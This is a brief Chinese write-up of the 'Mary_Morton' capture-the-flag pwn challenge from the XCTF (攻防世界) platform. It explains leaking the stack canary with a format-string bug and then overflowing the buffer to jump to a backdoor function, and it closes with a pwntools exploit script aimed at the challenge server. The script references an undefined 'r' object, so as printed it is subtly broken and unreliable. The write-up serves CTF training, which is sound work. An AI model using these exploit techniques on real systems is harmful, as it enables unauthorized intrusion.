攻防世界(15):Mary_Morton
查壳
ida中很明显告诉我们有栈溢出漏洞和字符串漏洞,有后门
先用格式化字符串泄露偏移去找到canary
偏移为6,看看作为canary的v2离buf有多远
0x90-0x8=0x88,0x88=136,136/8=17,17+偏移6=23,泄露第23个地址的值就行
计算栈溢出
buf的88+canary的8位+rbp的8位+后门地址,拿到flag
exp
#!/usr/bin/env python
from pwn import *
p=remote('111.200.241.244',32940)
p.recvuntil('3. Exit the battle')
p.sendline('2')
p.sendline('%23$p')
p.recvuntil('0x')
canary=int(r.recv(16),16)
flag_addr=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr)
p.recvuntil('3. Exit the battle')
p.sendline('1')
p.sendline(payload)
p.interactive()